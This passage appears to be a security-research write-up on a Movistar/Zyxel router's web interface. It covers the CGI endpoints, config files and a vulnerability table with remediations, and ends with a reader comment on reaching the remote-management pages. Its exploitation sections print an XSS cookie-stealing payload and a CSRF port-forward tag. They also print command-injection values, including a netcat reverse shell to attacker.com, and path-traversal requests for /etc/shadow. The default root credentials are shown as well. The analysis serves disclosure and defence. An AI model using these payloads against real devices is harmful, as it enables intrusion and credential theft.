    • Server errors (500 = possible vulnerability)

API Endpoints

JSON-Based API

Menu Structure API:

  • Endpoint: /cgi-bin/menuJson.cgi
  • Purpose: Dynamic menu generation based on user permissions and features
  • Format: JSON response

Tab Configuration API:

  • Endpoints: Each page has corresponding /html/pages/*/tab.json
  • Purpose: Define page structure and CGI mappings
  • Format: Static JSON files

Example Tab JSON Structure:

{
    "tabTitle": "MLG_Menu_SubTitle_RemoteMGMT",
    "pageIndex": "maintenance-remotemgmt",
    "MLG_Tab_subTitle_General": {
        "url": "../../../cgi-bin/RemMagGeneral.cgi"
    },
    "MLG_Tab_subTitle_WWW": {
        "url": "../../../cgi-bin/RemMagWWW.cgi"
    }
}

Management APIs

MHS API Path:

  • /mhs/APIS/ - Management Host System API
  • /mhs/jsps/ - JSP-style management pages

Purpose: Likely for ISP/OLT remote management

Zero-Touch Provisioning:

  • File: /var/zerotouch.json
  • Purpose: Auto-configuration data from network
  • Accessible via: /zerotouch.json symlink in web root

TR-069/TR-369 Integration

TR-069 CGI:

  • tr69cfg.cgi - TR-069 configuration via web UI
  • tr69cfg.html - TR-069 status page

TR-369/USP CGI:

  • tr369.cgi - USP configuration
  • agentMTP.cgi - Message Transfer Protocol config
  • controller.cgi - USP controller management
  • stompConn.cgi - STOMP protocol connections
  • mqttClient.cgi - MQTT connections

Data Model:

  • Based on InternetGatewayDevice OID structure
  • USP Device.LocalAgent.* objects
  • Backend handles OID queries via libbemodules.so

Data Flow

Request Flow

User Browser
    ↓
HTTPS Request to mini_httpd (port 443/8080)
    ↓
mini_httpd validates session cookie
    ↓
If session valid:
    - Parse request (GET/POST)
    - Extract CGI path
    - Set environment variables
    - Execute CGI binary (/usr/shared/web/cgi-bin/X.cgi)
        ↓
    CGI Binary Execution:
        - Link libwebutil.so (session, HTML escaping)
        - Link libbemodules.so (backend OID access)
        - Parse POST/GET parameters
        - Call cgiSessionCheck()
        - Process business logic
        - Call OID functions (cccRdmGetObjectByOID, etc.)
        - Generate HTML output (embedded in binary)
        - Call escape_html() on user input
        - Output to stdout
        ↓
    mini_httpd receives stdout
    ↓
    Add HTTP headers (Content-Type, Set-Cookie, etc.)
    ↓
    Send response to browser

Data Storage Flow

Web UI Change
    ↓
CGI validates input
    ↓
Update OID via libbemodules.so
    ↓
OID change triggers backend action (be_*)
    ↓
Backend module (libbemodules.so):
    - Validate change
    - Update RDM (Runtime Data Model)
    - Write to /var/config.cfg
    - Trigger system command (e.g., restart service)
    - Send ubus notification
    ↓
Service reconfigures (dhcp, firewall, wifi, etc.)
    ↓
Configuration persisted to flash (/var/config.cfg)

OID Architecture

Object Identifier (OID) Structure:

  • Format: InternetGatewayDevice.Category.SubCategory.{i}.Parameter
  • Example: InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.SSID

OID Access Functions:

  • cccRdmGetObjectByOID(oid) - Get single object
  • cccRdmGetObjListByOID(oid) - Get object list
  • cccRdmSetObjectByOID(oid, value) - Set object value

OID Modules (in libbemodules.so):

  • Each OID has:
    • OID_*_Boot - Initialization at boot
    • OID_*_ConfigLoaderFunc - Configuration loader
    • OID_*_ConfigLoaderFunc_Boot - Boot-time config load

Example OIDs Found:

  • OID_InternetGatewayDevice_X_5067F0_Ext_LoginPrivilegeMgmt_i_ConfigLoaderFunc
  • OID_InternetGatewayDevice_ManagementServer_X_5067F0_CAContent_ConfigLoaderFunc_Boot
  • OID_InternetGatewayDevice_Mos_MosUserConfig_ConfigLoaderFunc

Vulnerabilities & Security Gaps

Summary Table

Vulnerability Severity CVSS Exploitability Impact
Old jQuery versions with known XSS CRITICAL 8.5 Easy Account takeover, session theft
No CSRF protection CRITICAL 8.1 Easy Unauthorized config changes
Weak password hash ($p$root) CRITICAL 9.1 Medium Full device compromise
Potential command injection (ping.cgi) HIGH 8.8 Medium Remote code execution
Path traversal (file browsers) HIGH 7.5 Medium Sensitive file disclosure
No HTTPS enforcement HIGH 7.4 Medium Credential interception
Session fixation possible MEDIUM 6.5 Medium Session hijacking
Verbose error messages MEDIUM 5.3 Easy Information disclosure
Debug features in production MEDIUM 6.1 Hard Potential bypass mechanisms
Telnet support MEDIUM 6.5 Medium Unencrypted access

Detailed Vulnerability Analysis

1. jQuery XSS Vulnerabilities

Affected Versions:

  • jQuery 1.3.2 - CVE-2007-2379, multiple XSS issues
  • jQuery 1.6.3 - CVE-2011-4969 (location.hash XSS)

Exploitation:

<!-- Trigger XSS via jQuery selector -->
http://192.168.1.1/page#<img src=x onerror=alert(document.cookie)>

Impact:

  • Session cookie theft
  • Account takeover
  • CSRF bypass
  • Malicious actions as authenticated user

Remediation:

  • Update all jQuery to 3.6.3+
  • Remove jQuery 1.x versions
  • Implement Content Security Policy (CSP)

2. CSRF (Cross-Site Request Forgery)

Missing Protection:

  • No CSRF tokens found in forms
  • No SameSite cookie attribute
  • No Referer validation

Exploitation:

<!-- Attacker site triggers config change -->
<img src="http://192.168.1.1/cgi-bin/portForwarding_add.cgi?port=22&ip=attacker.com">

Impact:

  • Unauthorized firewall rule changes
  • Port forwarding to attacker
  • WiFi password changes
  • Admin account creation

Remediation:

  • Implement CSRF tokens (per-session random value)
  • Validate Referer header
  • Use SameSite=Strict cookie attribute
  • Require password for sensitive operations

3. Weak Authentication

Issues:

  • Password hash format $p$root non-standard
  • May be simple hash or placeholder
  • No account lockout mechanism confirmed
  • No 2FA/MFA support

Exploitation:

  • Brute force attack on login
  • Dictionary attack
  • Credential stuffing

Remediation:

  • Use bcrypt/scrypt for password hashing
  • Implement account lockout (5 failed attempts)
  • Add CAPTCHA after failed attempts
  • Support 2FA/TOTP

4. Command Injection (Suspected)

Vulnerable CGIs (suspected):

  • ping.cgi - Likely executes system ping command
  • DiagGeneral.cgi - May run diagnostic commands
  • mirror.cgi - Port mirroring configuration

Exploitation:

POST /cgi-bin/ping.cgi HTTP/1.1

target=8.8.8.8; cat /etc/passwd
target=8.8.8.8 | nc attacker.com 4444 -e /bin/sh

Remediation:

  • Use safe APIs (no shell execution)
  • Whitelist input (IP addresses only)
  • Escape all shell metacharacters
  • Use parameterized execution

5. Path Traversal

Vulnerable CGIs:

  • fileSharing_browse.cgi - File browser
  • viewlog.cgi - Log viewer
  • backupRestore.cgi - Config file access

Exploitation:

GET /cgi-bin/viewlog.cgi?file=../../../etc/shadow HTTP/1.1
GET /cgi-bin/fileSharing_browse.cgi?path=../../../../etc/passwd HTTP/1.1

Remediation:

  • Validate file paths against whitelist
  • Use chroot for file operations
  • Canonicalize paths (realpath())
  • Deny .. in all file parameters

Configuration Files

Web Application Config

/usr/shared/web/html/config.json:

{
  "CONFIG": {
    "Implementation": "api",
    "DefaultLanguage": "pt",
    "Branding": "movistar",
    "Country": "ES",
    "LANGUAGES": [
      {"file": "language.en.json", "shortName": "en"},
      {"file": "language.pt.json", "shortName": "pt"}
    ],
    "SessionMaxTime": 600,
    "SessionWarning": false,
    "UpdateStep": 10,
    "VENDORCONFIGURATION": {
      "Availability": true,
      "Link": "http://192.168.1.1/main.html"
    },
    "LanConfEnabled": true,
    "Supported3G": true,
    "ManualPPPoE": true
  }
}

Key Settings:

  • Session timeout: 600 seconds (10 minutes)
  • Default language: Portuguese
  • Branding: Movistar (Telefonica)
  • 3G support: Enabled
  • Manual PPPoE: Enabled

mini_httpd Config

Runtime generated at:

  • /etc/mini_httpd1.conf
  • /etc/mini_httpd2.conf
  • /etc/mini_httpd3.conf
  • /etc/mini_httpd4.conf

Expected Configuration:

port=80
ssl_port=443
ssl_cert=/etc/mycert/web.pem
chroot=/usr/shared/web
user=nobody
cgipat=/cgi-bin/*
pidfile=/tmp/mini_httpd1.pid
logfile=/tmp/mini_httpd1.log

rpcd Config

/etc/config/rpcd:

config rpcd
    option socket /var/run/ubus/ubus.sock
    option timeout 30

config login
    option username 'root'
    option password '$p$root'
    list read '*'
    list write '*'

Recommendations

Immediate Actions (Critical)

  1. Update jQuery Libraries

    • Remove jQuery 1.x versions
    • Use only jQuery 3.6.3
    • Test all JavaScript functionality

  2. Implement CSRF Protection

    • Generate random token per session
    • Include in all forms as hidden field
    • Validate token on all state-changing requests

  3. Strengthen Authentication

    • Replace $p$root with proper bcrypt hash
    • Implement account lockout (5 attempts)
    • Force password change on first login

  4. Enforce HTTPS

    • Redirect HTTP → HTTPS automatically
    • Set HSTS header
    • Use secure cookies only

  5. Input Validation Audit

    • Review all 211 CGI binaries
    • Implement whitelist validation
    • Add length limits

Short-term (High Priority)

  1. Add Security Headers

    Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000

  2. Session Security

    • Add SameSite=Strict to cookies
    • Bind sessions to IP addresses (already done)
    • Regenerate SessionKey on privilege escalation

  3. Disable Unnecessary Services

    • Disable Telnet (use SSH only)
    • Disable debug endpoints
    • Remove HTTP server instances 2-4 if unused

  4. Code Audit

    • Static analysis of all CGI binaries
    • Penetration testing
    • Fuzzing file upload handlers

Long-term (Medium Priority)

  1. Architecture Improvements

    • Migrate to modern web framework (React/Vue + REST API)
    • Separate frontend from backend
    • Use JSON API instead of CGI

  2. Monitoring & Logging

    • Log all authentication attempts
    • Alert on failed login patterns
    • SIEM integration

  3. Regular Updates

    • Automated dependency scanning
    • Security patch pipeline
    • CVE monitoring

Appendix A: Full CGI List by Function

Authentication & Session (5)

  • login_advance.cgi
  • logout_advance.cgi
  • passLogout.cgi
  • doregister.cgi
  • clear_first_access.asp

Main Dashboard (7)

  • indexmain.cgi
  • menuJson.cgi
  • naviView_partialLoad.cgi
  • info.cgi
  • current.cgi
  • statusview.cgi
  • networkMap.cgi

Network - Broadband (6)

  • broadband.cgi
  • connection_icon_list.cgi
  • connection_table_list.cgi
  • connectionStatus_p1.cgi
  • wanRemoteNode_ETH_Edit.cgi
  • wanRemoteNode_GPON_Edit.cgi

Network - LAN (6)

  • lanSetup.cgi
  • ipv6LanSetup.cgi
  • dhcp_static_list.cgi
  • staticDHCP_add.cgi
  • staticDHCP.cgi
  • ipalias.cgi

Network - Wireless 2.4GHz (20)

  • wlan_general.cgi
  • wlan_MACAuthentication.cgi
  • wlan_macfilter_add.cgi
  • wlan_macfilter_edit.cgi
  • wlan_mac_address_list.cgi (+ 1,2,3 variants)
  • wlan_moreAP.cgi
  • wlan_moreap_edit.cgi
  • wlan_others.cgi
  • wlan_wps.cgi
  • wlan_wpsinfo.cgi
  • wlan_WpsStatus.cgi
  • wlan_WPStimerRunning.cgi
  • wlan_staionInfo.cgi
  • wlan_staionInfo_list.cgi (+ 1,2,3 variants)
  • moreApStatus.cgi

Network - Wireless 5GHz (19)

  • wlan5_* (mirrors all 2.4GHz CGIs)

Network - WiFi Scheduling (4)

  • wlan_scheduling.cgi
  • wlan_schedule_add/edit/delete.cgi

Network - EasyMesh (1)

  • EasyMesh.cgi

Network - QoS (7)

  • qos_general.cgi
  • qos_class.cgi
  • qos_queue.cgi
  • qos_shaper.cgi
  • qos_class_add.cgi
  • queue_add.cgi
  • shaper_add.cgi

Network - NAT (14)

  • NAT_General.cgi
  • NAT_AddrMapping.cgi
  • nat.cgi
  • portForwarding.cgi (+ add/edit/list/delete variants)
  • portTriggering.cgi (+ add/edit/list variants)
  • dmz.cgi
  • addrMap_add.cgi

Network - Routing (9)

  • static.cgi (+ add/list variants)
  • ipv6static.cgi (+ add/list variants)
  • dns_routing.cgi (+ add/list variants)

Network - Tunnel (4)

  • gretunnel.cgi (+ add/list variants)
  • ipTunnel.cgi

Network - Other (3)

  • dynamicDNS_InadynV2.cgi
  • dynamicDNS_InterfaceIndex.cgi
  • upnp.cgi
  • current_upnp_table.cgi

Security - Firewall (17)

  • TELFirewall_*.cgi (13 variants)
  • TR181Firewall.cgi (+ RuleEdit variant)

Security - Filter (7)

  • IP_MAC_Filter.cgi
  • ipMacFilterList.cgi
  • URL_Filter.cgi (+ Edit/list/delete variants)
  • Keyword_Filter_list.cgi

Security - Parental Control (3)

  • ParentalControl.cgi
  • ParentalControladd.cgi
  • ParentalControl_view.cgi

Security - Certificates (6)

  • localCA.cgi (+ frame variant)
  • trustedCA.cgi (+ add/view variants)
  • sshCA_list.cgi

VoIP (13)

  • sipServiceProvider.cgi (+ setting/list variants)
  • sipAccount.cgi (+ setting/list variants)
  • SIP_ALG.cgi
  • phone.cgi
  • callRule.cgi (+ CO variant)
  • VoIPStatus.cgi (+ list variant)

System Monitoring (8)

  • traffic_wan/lan/nat.cgi (+ frame variants)
  • viewlog.cgi
  • ViewSyslog.cgi

Maintenance - Remote Mgmt (8)

  • RemMag*.cgi (General, WWW, WWW4Airtel, SNMP, DNS, ICMP, SSH, TELNET)

Maintenance - Device Config (5)

  • backupRestore.cgi
  • reboot.cgi (+ info variant)
  • system.cgi
  • time.cgi

Maintenance - Diagnostics (4)

  • DiagGeneral.cgi
  • ping.cgi
  • mirror.cgi

Maintenance - Logs & Firmware (4)

  • logSet.cgi
  • zlog.cgi
  • firewareUpgrade.cgi
  • Fireware_UpgradesManaged.cgi

TR-069/USP Management (10)

  • tr69cfg.cgi
  • tr369.cgi
  • agentMTP.cgi (+ list variant)
  • controller.cgi (+ list variant)
  • stompConn.cgi (+ list variant)
  • mqttClient.cgi (+ list variant)

File Sharing (11)

  • fileSharing.cgi (+ add/mod/del/list/browse variants)
  • fileuser_*.cgi (add/mod/del/list variants)
  • printServer.cgi

User Management (1)

  • userAccount.cgi

PCP (4)

  • PCP_ClientListIndex.cgi (+ view variant)
  • PCP_list.cgi
  • pcplist.cgi

GPON (1)

  • gponPassword.cgi

Vendor/Custom (3)

  • vd.cgi
  • vdview.cgi
  • tabFW.cgi

Utility/Framework (3)

  • delete.cgi
  • delete_RuleSum.cgi
  • autofw_notify.asp (+ check variant)
  • schedule_list.cgi

Total: 211 CGI binaries

Appendix B: OID Structure

Sample OIDs Found

InternetGatewayDevice.
├── DeviceInfo.
│   ├── ManufacturerOUI
│   ├── SerialNumber
│   └── SoftwareVersion
├── Layer3Forwarding.
│   └── Forwarding.{i}
├── LANDevice.{i}.
│   ├── WLANConfiguration.{i}.
│   │   ├── SSID
│   │   ├── BeaconType
│   │   └── ...
│   └── X_5067F0_IPv6LANHostConfigManagement.
├── WANDevice.{i}.
│   ├── WANConnectionDevice.{i}.
│   └── ...
├── X_5067F0_Ext.
│   ├── LoginPrivilegeMgmt.{i}
│   ├── Print
│   ├── FTP
│   └── ...
├── ManagementServer.
│   └── X_5067F0_CAContent
├── Mos.
│   └── MosUserConfig.
├── QoS.
├── Time.
├── IGMP.
└── ...

Note: X_5067F0_ prefix indicates vendor-specific extensions (5067F0 = Zyxel vendor code in hex)

Document Version: 2.0 Last Updated: 2025-10-06 Total Pages Documented: 38 page categories Total CGI Handlers: 211 Vulnerabilities Identified: 10 major issues Classification: Security Research - Confidential

@ak4zh
Copy link
Copy Markdown

ak4zh commented Mar 23, 2026

The remote management CGI scripts (RemMagTELNET.cgi, etc.) should start with lowercase 'r'
(e.g. remMagTELNET.cgi instead of RemMagTELNET.cgi), otherwise the server returns 404 Not Found.

Using the correct lowercase version (remMagTELNET.cgi) produces a 402 forbidden error,
indicating the URL itself is valid, the remaining issue appears to be related to HTTP Referer
header validation.

// RemMagTELNET.cgi
<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>404 Not Found</title>
  </head>

  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">

    <h4>404 Not Found</h4>
File not found.
    <hr>

  </body>

</html>

// remMagTELNET.cgi
<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>403 Forbidden</title>
  </head>

  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">

    <h4>403 Forbidden</h4>
You must supply a local referer.
    <hr>

  </body>

</html>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment